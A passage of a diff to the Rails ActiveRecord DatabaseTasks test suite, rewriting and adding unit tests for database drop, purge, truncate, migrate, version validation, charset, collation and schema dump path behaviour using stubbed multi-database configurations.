-      ActiveRecord::Tasks::DatabaseTasks.drop_current(
-        ActiveSupport::StringInquirer.new("production")
-      )
+    def test_drops_current_environment_database_with_url
+      with_stubbed_configurations do
+        assert_called_with(
+          ActiveRecord::Tasks::DatabaseTasks,
+          :drop,
+          [config_for("production", "primary")]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_current(
+            ActiveSupport::StringInquirer.new("production")
+          )
+        end
+      end
     end
 
     def test_drops_test_and_development_databases_when_env_was_not_specified
-      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
-        with("database" => "dev-db")
-      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
-        with("database" => "test-db")
-
-      ActiveRecord::Tasks::DatabaseTasks.drop_current(
-        ActiveSupport::StringInquirer.new("development")
-      )
+      with_stubbed_configurations do
+        assert_called_for_configs(
+          :drop,
+          [
+            [config_for("development", "primary")],
+            [config_for("test", "primary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
     end
 
     def test_drops_testand_development_databases_when_rails_env_is_development
       old_env = ENV["RAILS_ENV"]
       ENV["RAILS_ENV"] = "development"
-      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
-        with("database" => "dev-db")
-      ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
-        with("database" => "test-db")
 
-      ActiveRecord::Tasks::DatabaseTasks.drop_current(
-        ActiveSupport::StringInquirer.new("development")
-      )
+      with_stubbed_configurations do
+        assert_called_for_configs(
+          :drop,
+          [
+            [config_for("development", "primary")],
+            [config_for("test", "primary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
     ensure
       ENV["RAILS_ENV"] = old_env
     end
   end
 
-  class DatabaseTasksMigrateTest < ActiveRecord::TestCase
-    self.use_transactional_tests = false
+  class DatabaseTasksDropCurrentThreeTierTest < ActiveRecord::TestCase
+    include DatabaseTasksHelper
 
     def setup
-      ActiveRecord::Tasks::DatabaseTasks.migrations_paths = "custom/path"
+      @configurations = {
+        "development" => {
+          "primary" => { "adapter" => "abstract", "database" => "dev-db" },
+          "secondary" => { "adapter" => "abstract", "database" => "secondary-dev-db" },
+        },
+        "test" => {
+          "primary" => { "adapter" => "abstract", "database" => "test-db" },
+          "secondary" => { "adapter" => "abstract", "database" => "secondary-test-db" },
+        },
+        "production" => {
+          "primary" => { "url" => "abstract://prod-db-host/prod-db" },
+          "secondary" => { "url" => "abstract://secondary-prod-db-host/secondary-prod-db" },
+        },
+      }
     end
 
-    def teardown
-      ActiveRecord::Tasks::DatabaseTasks.migrations_paths = nil
+    def test_drops_current_environment_database
+      with_stubbed_configurations do
+        assert_called_for_configs(
+          :drop,
+          [
+            [config_for("test", "primary")],
+            [config_for("test", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_current(
+            ActiveSupport::StringInquirer.new("test")
+          )
+        end
+      end
+    end
+
+    def test_drops_current_environment_database_with_url
+      with_stubbed_configurations do
+        assert_called_for_configs(
+          :drop,
+          [
+            [config_for("production", "primary")],
+            [config_for("production", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_current(
+            ActiveSupport::StringInquirer.new("production")
+          )
+        end
+      end
+    end
+
+    def test_drops_test_and_development_databases_when_env_was_not_specified
+      with_stubbed_configurations do
+        assert_called_for_configs(
+          :drop,
+          [
+            [config_for("development", "primary")],
+            [config_for("development", "secondary")],
+            [config_for("test", "primary")],
+            [config_for("test", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
+    end
+
+    def test_drops_testand_development_databases_when_rails_env_is_development
+      old_env = ENV["RAILS_ENV"]
+      ENV["RAILS_ENV"] = "development"
+
+      with_stubbed_configurations do
+        assert_called_for_configs(
+          :drop,
+          [
+            [config_for("development", "primary")],
+            [config_for("development", "secondary")],
+            [config_for("test", "primary")],
+            [config_for("test", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.drop_current(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
+    ensure
+      ENV["RAILS_ENV"] = old_env
+    end
+  end
+
+  class DatabaseTasksMigrationTestCase < ActiveRecord::TestCase
+    if current_adapter?(:SQLite3Adapter) && !in_memory_db?
+      self.use_transactional_tests = false
+      class_attribute :folder_name, default: "valid"
+
+      # Use a memory db here to avoid having to rollback at the end
+      setup do
+        migrations_path = [MIGRATIONS_ROOT, folder_name].join("/")
+        file = ActiveRecord::Base.lease_connection.raw_connection.filename
+        @conn = ActiveRecord::Base.establish_connection adapter: "sqlite3",
+          database: ":memory:", migrations_paths: migrations_path
+        source_db = SQLite3::Database.new file
+        dest_db = ActiveRecord::Base.lease_connection.raw_connection
+        backup = SQLite3::Backup.new(dest_db, "main", source_db, "main")
+        backup.step(-1)
+        backup.finish
+      end
+
+      teardown do
+        @conn.release_connection if @conn
+        ActiveRecord::Base.establish_connection :arunit
+      end
+
+      private
+        def capture_migration_output
+          capture(:stdout) do
+            ActiveRecord::Tasks::DatabaseTasks.migrate
+          end
+        end
+    end
+  end
+
+  class DatabaseTasksMigrateTest < DatabaseTasksMigrationTestCase
+    if current_adapter?(:SQLite3Adapter) && !in_memory_db?
+      def test_migrate_set_and_unset_empty_values_for_verbose_and_version_env_vars
+        verbose, version = ENV["VERBOSE"], ENV["VERSION"]
+
+        ENV["VERSION"] = "2"
+        ENV["VERBOSE"] = "false"
+
+        # run down migration because it was already run on copied db
+        assert_empty capture_migration_output
+
+        ENV["VERBOSE"] = ""
+        ENV["VERSION"] = ""
+
+        # re-run up migration
+        assert_includes capture_migration_output, "migrating"
+      ensure
+        ENV["VERBOSE"], ENV["VERSION"] = verbose, version
+      end
+
+      def test_migrate_set_and_unset_nonsense_values_for_verbose_and_version_env_vars
+        verbose, version = ENV["VERBOSE"], ENV["VERSION"]
+
+        # run down migration because it was already run on copied db
+        ENV["VERSION"] = "2"
+        ENV["VERBOSE"] = "false"
+
+        assert_empty capture_migration_output
+
+        ENV["VERBOSE"] = "yes"
+        ENV["VERSION"] = "2"
+
+        # run no migration because 2 was already run
+        assert_empty capture_migration_output
+      ensure
+        ENV["VERBOSE"], ENV["VERSION"] = verbose, version
+      end
+    end
+  end
+
+  class DatabaseTasksMigrateScopeTest < DatabaseTasksMigrationTestCase
+    if current_adapter?(:SQLite3Adapter) && !in_memory_db?
+      self.folder_name = "scope"
+
+      def test_migrate_using_scope_and_verbose_mode
+        verbose, version, scope = ENV["VERBOSE"], ENV["VERSION"], ENV["SCOPE"]
+
+        # run up migration
+        ENV["VERSION"] = "2"
+        ENV["VERBOSE"] = "true"
+        ENV["SCOPE"] = "mysql"
+
+        output = capture_migration_output
+        assert_includes output, "migrating"
+        assert_not_includes output, "No migrations ran. (using mysql scope)"
+
+        # run no migration because 2 was already run
+        output = capture_migration_output
+        assert_includes output, "No migrations ran. (using mysql scope)"
+        assert_not_includes output, "migrating"
+      ensure
+        ENV["VERBOSE"], ENV["VERSION"], ENV["SCOPE"] = verbose, version, scope
+      end
+
+      def test_migrate_using_scope_and_non_verbose_mode
+        verbose, version, scope = ENV["VERBOSE"], ENV["VERSION"], ENV["SCOPE"]
+
+        # run up migration
+        ENV["VERSION"] = "2"
+        ENV["VERBOSE"] = "false"
+        ENV["SCOPE"] = "mysql"
+
+        assert_empty capture_migration_output
+
+        # run no migration because 2 was already run
+        assert_empty capture_migration_output
+      ensure
+        ENV["VERBOSE"], ENV["VERSION"], ENV["SCOPE"] = verbose, version, scope
+      end
+
+      def test_migrate_using_empty_scope_and_verbose_mode
+        verbose, version, scope = ENV["VERBOSE"], ENV["VERSION"], ENV["SCOPE"]
+
+        # run up migration
+        ENV["VERSION"] = "2"
+        ENV["VERBOSE"] = "true"
+        ENV["SCOPE"] = ""
+
+        output = capture_migration_output
+        assert_includes output, "migrating"
+        assert_not_includes output, "No migrations ran. (using mysql scope)"
+
+        # run no migration because 1 already ran and 2 is mysql scoped
+        output = capture_migration_output
+        assert_empty output
+        assert_not_includes output, "No migrations ran. (using mysql scope)"
+      ensure
+        ENV["VERBOSE"], ENV["VERSION"], ENV["SCOPE"] = verbose, version, scope
+      end
     end
+  end
+
+  class DatabaseTasksMigrateStatusTest < DatabaseTasksMigrationTestCase
+    if current_adapter?(:SQLite3Adapter) && !in_memory_db?
+      def setup
+        @schema_migration = ActiveRecord::Base.connection_pool.schema_migration
+      end
+
+      def test_migrate_status_table
+        @schema_migration.create_table
+        output = capture_migration_status
+        assert_match(/database: :memory:/, output)
+        assert_match(/down    001             Valid people have last names/, output)
+        assert_match(/down    002             We need reminders/, output)
+        assert_match(/down    003             Innocent jointable/, output)
+        @schema_migration.delete_all_versions
+      end
+
+      private
+        def capture_migration_status
+          capture(:stdout) do
+            ActiveRecord::Tasks::DatabaseTasks.migrate_status
+          end
+        end
+    end
+  end
 
-    def test_migrate_receives_correct_env_vars
-      verbose, version = ENV["VERBOSE"], ENV["VERSION"]
+  class DatabaseTasksMigrateErrorTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    def test_migrate_raise_error_on_invalid_version_format
+      version = ENV["VERSION"]
+
+      ENV["VERSION"] = "unknown"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "0.1.11"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "1.1.11"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "0 "
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "1."
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }
+      assert_match(/Invalid format of target version/, e.message)
 
-      ENV["VERBOSE"] = "false"
-      ENV["VERSION"] = "4"
+      ENV["VERSION"] = "1_"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }
+      assert_match(/Invalid format of target version/, e.message)
 
-      ActiveRecord::Migrator.expects(:migrate).with("custom/path", 4)
-      ActiveRecord::Tasks::DatabaseTasks.migrate
+      ENV["VERSION"] = "1__1"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "1_name"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }
+      assert_match(/Invalid format of target version/, e.message)
     ensure
-      ENV["VERBOSE"], ENV["VERSION"] = verbose, version
+      ENV["VERSION"] = version
+    end
+
+    def test_migrate_raise_error_on_failed_check_target_version
+      ActiveRecord::Tasks::DatabaseTasks.stub(:check_target_version, -> { raise "foo" }) do
+        e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }
+        assert_equal "foo", e.message
+      end
     end
 
     def test_migrate_clears_schema_cache_afterward
-      ActiveRecord::Base.expects(:clear_cache!)
-      ActiveRecord::Tasks::DatabaseTasks.migrate
+      assert_called(ActiveRecord::Base.schema_cache, :clear!) do
+        ActiveRecord::Tasks::DatabaseTasks.migrate
+      end
     end
   end
 
@@ -361,38 +1262,215 @@ class DatabaseTasksPurgeTest < ActiveRecord::TestCase
 
     ADAPTERS_TASKS.each do |k, v|
       define_method("test_#{k}_purge") do
-        eval("@#{v}").expects(:purge)
-        ActiveRecord::Tasks::DatabaseTasks.purge "adapter" => k
+        with_stubbed_new do
+          assert_called(eval("@#{v}"), :purge) do
+            ActiveRecord::Tasks::DatabaseTasks.purge "adapter" => k
+          end
+        end
       end
     end
   end
 
   class DatabaseTasksPurgeCurrentTest < ActiveRecord::TestCase
     def test_purges_current_environment_database
+      old_configurations = ActiveRecord::Base.configurations
       configurations = {
-        "development" => { "database" => "dev-db" },
-        "test"        => { "database" => "test-db" },
-        "production"  => { "database" => "prod-db" }
+        "development" => { "adapter" => "abstract", "database" => "dev-db" },
+        "test"        => { "adapter" => "abstract", "database" => "test-db" },
+        "production"  => { "adapter" => "abstract", "database" => "prod-db" },
       }
-      ActiveRecord::Base.stubs(:configurations).returns(configurations)
 
-      ActiveRecord::Tasks::DatabaseTasks.expects(:purge).
-        with("database" => "prod-db")
-      ActiveRecord::Base.expects(:establish_connection).with(:production)
+      ActiveRecord::Base.configurations = configurations
 
-      ActiveRecord::Tasks::DatabaseTasks.purge_current("production")
+      assert_called_with(
+        ActiveRecord::Tasks::DatabaseTasks,
+        :purge,
+        [ActiveRecord::Base.configurations.configs_for(env_name: "production", name: "primary")]
+      ) do
+        assert_called_with(ActiveRecord::Base, :establish_connection, [:production]) do
+          ActiveRecord::Tasks::DatabaseTasks.purge_current("production")
+        end
+      end
+    ensure
+      ActiveRecord::Base.configurations = old_configurations
     end
   end
 
   class DatabaseTasksPurgeAllTest < ActiveRecord::TestCase
     def test_purge_all_local_configurations
-      configurations = { development: { "database" => "my-db" } }
-      ActiveRecord::Base.stubs(:configurations).returns(configurations)
+      old_configurations = ActiveRecord::Base.configurations
+      configurations = { development: { "adapter" => "abstract", "database" => "my-db" } }
+      ActiveRecord::Base.configurations = configurations
+
+      assert_called_with(
+        ActiveRecord::Tasks::DatabaseTasks,
+        :purge,
+        [ActiveRecord::Base.configurations.configs_for(env_name: "development", name: "primary")]
+      ) do
+        ActiveRecord::Tasks::DatabaseTasks.purge_all
+      end
+    ensure
+      ActiveRecord::Base.configurations = old_configurations
+    end
+  end
+
+  class DatabaseTasksTruncateAllTest < ActiveRecord::TestCase
+    unless in_memory_db?
+      self.use_transactional_tests = false
+
+      fixtures :courses, :colleges
+
+      def setup
+        pool = ARUnit2Model.connection_pool
+        @schema_migration = pool.schema_migration
+        @schema_migration.create_table
+        @schema_migration.create_version(@schema_migration.table_name)
+
+        @internal_metadata = pool.internal_metadata
+        @internal_metadata.create_table
+        @internal_metadata[@internal_metadata.table_name] = nil
+
+        @old_configurations = ActiveRecord::Base.configurations
+      end
+
+      def teardown
+        @schema_migration.delete_all_versions
+        @internal_metadata.delete_all_entries
+        clean_up_connection_handler
+        ActiveRecord::Base.configurations = @old_configurations
+      end
+
+      def test_truncate_tables
+        assert_operator @schema_migration.count, :>, 0
+        assert_operator @internal_metadata.count, :>, 0
+        assert_operator Course.count, :>, 0
+        assert_operator College.count, :>, 0
+
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit2", name: "primary")
+        configurations = { development: db_config.configuration_hash }
+        ActiveRecord::Base.configurations = configurations
+
+        ActiveRecord::Tasks::DatabaseTasks.stub(:root, nil) do
+          ActiveRecord::Tasks::DatabaseTasks.truncate_all(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+
+        assert_operator @schema_migration.count, :>, 0
+        assert_operator @internal_metadata.count, :>, 0
+        assert_equal 0, Course.count
+        assert_equal 0, College.count
+      end
+    end
+
+    class DatabaseTasksTruncateAllWithPrefixTest < DatabaseTasksTruncateAllTest
+      setup do
+        ActiveRecord::Base.table_name_prefix = "p_"
+      end
+
+      teardown do
+        ActiveRecord::Base.table_name_prefix = nil
+      end
+    end
+
+    class DatabaseTasksTruncateAllWithSuffixTest < DatabaseTasksTruncateAllTest
+      setup do
+        ActiveRecord::Base.table_name_suffix = "_s"
+      end
+
+      teardown do
+        ActiveRecord::Base.table_name_suffix = nil
+      end
+    end
+  end
+
+  class DatabaseTasksTruncateAllWithMultipleDatabasesTest < ActiveRecord::TestCase
+    include DatabaseTasksHelper
+
+    def setup
+      @configurations = {
+        "development" => {
+          "primary" => { "adapter" => "abstract", "database" => "dev-db" },
+          "secondary" => { "adapter" => "abstract", "database" => "secondary-dev-db" },
+        },
+        "test" => {
+          "primary" => { "adapter" => "abstract", "database" => "test-db" },
+          "secondary" => { "adapter" => "abstract", "database" => "secondary-test-db" },
+        },
+        "production" => {
+          "primary" => { "url" => "abstract://prod-db-host/prod-db" },
+          "secondary" => { "url" => "abstract://secondary-prod-db-host/secondary-prod-db" },
+         }
+      }
+    end
+
+    def test_truncate_all_databases_for_environment
+      with_stubbed_configurations do
+        assert_called_for_configs(
+          :truncate_tables,
+          [
+            [config_for("test", "primary")],
+            [config_for("test", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.truncate_all(
+            ActiveSupport::StringInquirer.new("test")
+          )
+        end
+      end
+    end
+
+    def test_truncate_all_databases_with_url_for_environment
+      with_stubbed_configurations do
+        assert_called_for_configs(
+          :truncate_tables,
+          [
+            [config_for("production", "primary")],
+            [config_for("production", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.truncate_all(
+            ActiveSupport::StringInquirer.new("production")
+          )
+        end
+      end
+    end
 
-      ActiveRecord::Tasks::DatabaseTasks.expects(:purge).
-        with("database" => "my-db")
+    def test_truncate_all_development_databases_when_env_is_not_specified
+      with_stubbed_configurations do
+        assert_called_for_configs(
+          :truncate_tables,
+          [
+            [config_for("development", "primary")],
+            [config_for("development", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.truncate_all(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
+    end
 
-      ActiveRecord::Tasks::DatabaseTasks.purge_all
+    def test_truncate_all_development_databases_when_env_is_development
+      old_env = ENV["RAILS_ENV"]
+      ENV["RAILS_ENV"] = "development"
+
+      with_stubbed_configurations do
+        assert_called_for_configs(
+          :truncate_tables,
+          [
+            [config_for("development", "primary")],
+            [config_for("development", "secondary")]
+          ]
+        ) do
+          ActiveRecord::Tasks::DatabaseTasks.truncate_all(
+            ActiveSupport::StringInquirer.new("development")
+          )
+        end
+      end
+    ensure
+      ENV["RAILS_ENV"] = old_env
     end
   end
 
@@ -401,9 +1479,31 @@ class DatabaseTasksCharsetTest < ActiveRecord::TestCase
 
     ADAPTERS_TASKS.each do |k, v|
       define_method("test_#{k}_charset") do
-        eval("@#{v}").expects(:charset)
-        ActiveRecord::Tasks::DatabaseTasks.charset "adapter" => k
+        with_stubbed_new do
+          assert_called(eval("@#{v}"), :charset) do
+            ActiveRecord::Tasks::DatabaseTasks.charset "adapter" => k
+          end
+        end
+      end
+    end
+
+    def test_charset_current
+      old_configurations = ActiveRecord::Base.configurations
+      configurations = {
+        "production" => { "adapter" => "abstract", "database" => "prod-db" }
+      }
+
+      ActiveRecord::Base.configurations = configurations
+
+      assert_called_with(
+        ActiveRecord::Tasks::DatabaseTasks,
+        :charset,
+        [ActiveRecord::Base.configurations.configs_for(env_name: "production", name: "primary")]
+      ) do
+        ActiveRecord::Tasks::DatabaseTasks.charset_current("production", "primary")
       end
+    ensure
+      ActiveRecord::Base.configurations = old_configurations
     end
   end
 
@@ -412,10 +1512,140 @@ class DatabaseTasksCollationTest < ActiveRecord::TestCase
 
     ADAPTERS_TASKS.each do |k, v|
       define_method("test_#{k}_collation") do
-        eval("@#{v}").expects(:collation)
-        ActiveRecord::Tasks::DatabaseTasks.collation "adapter" => k
+        with_stubbed_new do
+          assert_called(eval("@#{v}"), :collation) do
+            ActiveRecord::Tasks::DatabaseTasks.collation "adapter" => k
+          end
+        end
       end
     end
+
+    def test_collation_current
+      old_configurations = ActiveRecord::Base.configurations
+      configurations = {
+        "production" => { "adapter" => "abstract", "database" => "prod-db" }
+      }
+
+      ActiveRecord::Base.configurations = configurations
+
+      assert_called_with(
+        ActiveRecord::Tasks::DatabaseTasks,
+        :collation,
+        [ActiveRecord::Base.configurations.configs_for(env_name: "production", name: "primary")]
+      ) do
+        ActiveRecord::Tasks::DatabaseTasks.collation_current("production", "primary")
+      end
+    ensure
+      ActiveRecord::Base.configurations = old_configurations
+    end
+  end
+
+  class DatabaseTaskTargetVersionTest < ActiveRecord::TestCase
+    def test_target_version_returns_nil_if_version_does_not_exist
+      version = ENV.delete("VERSION")
+      assert_nil ActiveRecord::Tasks::DatabaseTasks.target_version
+    ensure
+      ENV["VERSION"] = version
+    end
+
+    def test_target_version_returns_nil_if_version_is_empty
+      version = ENV["VERSION"]
+
+      ENV["VERSION"] = ""
+      assert_nil ActiveRecord::Tasks::DatabaseTasks.target_version
+    ensure
+      ENV["VERSION"] = version
+    end
+
+    def test_target_version_returns_converted_to_integer_env_version_if_version_exists
+      version = ENV["VERSION"]
+
+      ENV["VERSION"] = "0"
+      assert_equal 0, ActiveRecord::Tasks::DatabaseTasks.target_version
+
+      ENV["VERSION"] = "42"
+      assert_equal 42, ActiveRecord::Tasks::DatabaseTasks.target_version
+
+      ENV["VERSION"] = "042"
+      assert_equal 42, ActiveRecord::Tasks::DatabaseTasks.target_version
+
+      ENV["VERSION"] = "2000_01_01_000042"
+      assert_equal 20000101000042, ActiveRecord::Tasks::DatabaseTasks.target_version
+    ensure
+      ENV["VERSION"] = version
+    end
+  end
+
+  class DatabaseTaskCheckTargetVersionTest < ActiveRecord::TestCase
+    def test_check_target_version_does_not_raise_error_on_empty_version
+      version = ENV["VERSION"]
+      ENV["VERSION"] = ""
+      assert_nothing_raised { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+    ensure
+      ENV["VERSION"] = version
+    end
+
+    def test_check_target_version_does_not_raise_error_if_version_is_not_set
+      version = ENV.delete("VERSION")
+      assert_nothing_raised { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+    ensure
+      ENV["VERSION"] = version
+    end
+
+    def test_check_target_version_raises_error_on_invalid_version_format
+      version = ENV["VERSION"]
+
+      ENV["VERSION"] = "unknown"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "0.1.11"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "1.1.11"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "0 "
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "1."
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "1_"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+      assert_match(/Invalid format of target version/, e.message)
+
+      ENV["VERSION"] = "1_name"
+      e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+      assert_match(/Invalid format of target version/, e.message)
+    ensure
+      ENV["VERSION"] = version
+    end
+
+    def test_check_target_version_does_not_raise_error_on_valid_version_format
+      version = ENV["VERSION"]
+
+      ENV["VERSION"] = "0"
+      assert_nothing_raised { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+
+      ENV["VERSION"] = "1"
+      assert_nothing_raised { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+
+      ENV["VERSION"] = "001"
+      assert_nothing_raised { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+
+      ENV["VERSION"] = "1_001"
+      assert_nothing_raised { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+
+      ENV["VERSION"] = "001_name.rb"
+      assert_nothing_raised { ActiveRecord::Tasks::DatabaseTasks.check_target_version }
+    ensure
+      ENV["VERSION"] = version
+    end
   end
 
   class DatabaseTasksStructureDumpTest < ActiveRecord::TestCase
@@ -423,8 +1653,14 @@ class DatabaseTasksStructureDumpTest < ActiveRecord::TestCase
 
     ADAPTERS_TASKS.each do |k, v|
       define_method("test_#{k}_structure_dump") do
-        eval("@#{v}").expects(:structure_dump).with("awesome-file.sql", nil)
-        ActiveRecord::Tasks::DatabaseTasks.structure_dump({ "adapter" => k }, "awesome-file.sql")
+        with_stubbed_new do
+          assert_called_with(
+            eval("@#{v}"), :structure_dump,
+            ["awesome-file.sql", nil]
+          ) do
+            ActiveRecord::Tasks::DatabaseTasks.structure_dump({ "adapter" => k }, "awesome-file.sql")
+          end
+        end
       end
     end
   end
@@ -434,31 +1670,131 @@ class DatabaseTasksStructureLoadTest < ActiveRecord::TestCase
 
     ADAPTERS_TASKS.each do |k, v|
       define_method("test_#{k}_structure_load") do
-        eval("@#{v}").expects(:structure_load).with("awesome-file.sql", nil)
-        ActiveRecord::Tasks::DatabaseTasks.structure_load({ "adapter" => k }, "awesome-file.sql")
+        with_stubbed_new do
+          assert_called_with(
+            eval("@#{v}"),
+            :structure_load,
+            ["awesome-file.sql", nil]
+          ) do
+            ActiveRecord::Tasks::DatabaseTasks.structure_load({ "adapter" => k }, "awesome-file.sql")
+          end
+        end
       end
     end
   end
 
   class DatabaseTasksCheckSchemaFileTest < ActiveRecord::TestCase
     def test_check_schema_file
-      Kernel.expects(:abort).with(regexp_matches(/awesome-file.sql/))
-      ActiveRecord::Tasks::DatabaseTasks.check_schema_file("awesome-file.sql")
+      assert_called_with(Kernel, :abort, [/awesome-file.sql/]) do
+        ActiveRecord::Tasks::DatabaseTasks.check_schema_file("awesome-file.sql")
+      end
     end
   end
 
-  class DatabaseTasksCheckSchemaFileDefaultsTest < ActiveRecord::TestCase
-    def test_check_schema_file_defaults
-      ActiveRecord::Tasks::DatabaseTasks.stubs(:db_dir).returns("/tmp")
-      assert_equal "/tmp/schema.rb", ActiveRecord::Tasks::DatabaseTasks.schema_file
+  class DatabaseTasksCheckSchemaFileMethods < ActiveRecord::TestCase
+    include DatabaseTasksHelper
+
+    setup do
+      @configurations = { "development" => { "adapter" => "abstract", "database" => "my-db" } }
+    end
+
+    def test_check_dump_filename_defaults
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "/tmp") do
+        with_stubbed_configurations do
+          assert_equal "/tmp/schema.rb", ActiveRecord::Tasks::DatabaseTasks.schema_dump_path(config_for("development", "primary"))
+        end
+      end
+    end
+
+    def test_check_dump_filename_with_schema_env
+      schema = ENV["SCHEMA"]
+      ENV["SCHEMA"] = "schema_path"
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "/tmp") do
+        with_stubbed_configurations do
+          assert_equal "schema_path", ActiveRecord::Tasks::DatabaseTasks.schema_dump_path(config_for("development", "primary"))
+        end
+      end
+    ensure
+      ENV["SCHEMA"] = schema
+    end
+
+    { ruby: "schema.rb", sql: "structure.sql" }.each_pair do |fmt, filename|
+      define_method("test_check_dump_filename_for_#{fmt}_format") do
+        ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "/tmp") do
+          with_stubbed_configurations do
+            assert_equal "/tmp/#{filename}", ActiveRecord::Tasks::DatabaseTasks.schema_dump_path(config_for("development", "primary"), fmt)
+          end
+        end
+      end
+    end
+
+    def test_check_dump_filename_defaults_for_non_primary_databases
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "/tmp") do
+        configurations = {
+          "development" => {
+            "primary" => { "adapter" => "abstract", "database" => "dev-db" },
+            "secondary" => { "adapter" => "abstract", "database" => "secondary-dev-db" },
+          },
+        }
+        with_stubbed_configurations(configurations) do
+          assert_equal "/tmp/secondary_schema.rb", ActiveRecord::Tasks::DatabaseTasks.schema_dump_path(config_for("development", "secondary"))
+        end
+      end
+    end
+
+    def test_setting_schema_dump_to_nil
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "/tmp") do
+        configurations = {
+          "development" => { "primary" => { "adapter" => "abstract", "database" => "dev-db", "schema_dump" => false } },
+        }
+        with_stubbed_configurations(configurations) do
+          assert_nil ActiveRecord::Tasks::DatabaseTasks.schema_dump_path(config_for("development", "primary"))
+        end
+      end
+    end
+
+    def test_schema_dump_path_with_absolute_path
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "db") do
+        configurations = {
+          "development" => { "primary" => { "adapter" => "abstract", "database" => "dev-db", "schema_dump" => "/absolute/path/to/schema.rb" } },
+        }
+        with_stubbed_configurations(configurations) do
+          assert_equal "/absolute/path/to/schema.rb", ActiveRecord::Tasks::DatabaseTasks.schema_dump_path(config_for("development", "primary"))
+        end
+      end
+    end
+
+    def test_check_dump_filename_with_schema_env_with_non_primary_databases
+      schema = ENV["SCHEMA"]
+      ENV["SCHEMA"] = "schema_path"
+      ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "/tmp") do
+        configurations = {
+          "development" => {
+            "primary" => { "adapter" => "abstract", "database" => "dev-db" },
+            "secondary" => { "adapter" => "abstract", "database" => "secondary-dev-db" },
+          },
+        }
+        with_stubbed_configurations(configurations) do
+          assert_equal "schema_path", ActiveRecord::Tasks::DatabaseTasks.schema_dump_path(config_for("development", "secondary"))
+        end
+      end
+    ensure
+      ENV["SCHEMA"] = schema
     end
-  end
 
-  class DatabaseTasksCheckSchemaFileSpecifiedFormatsTest < ActiveRecord::TestCase
     { ruby: "schema.rb", sql: "structure.sql" }.each_pair do |fmt, filename|
-      define_method("test_check_schema_file_for_#{fmt}_format") do
-        ActiveRecord::Tasks::DatabaseTasks.stubs(:db_dir).returns("/tmp")
-        assert_equal "/tmp/#{filename}", ActiveRecord::Tasks::DatabaseTasks.schema_file(fmt)
+      define_method("test_check_dump_filename_for_#{fmt}_format_with_non_primary_databases") do
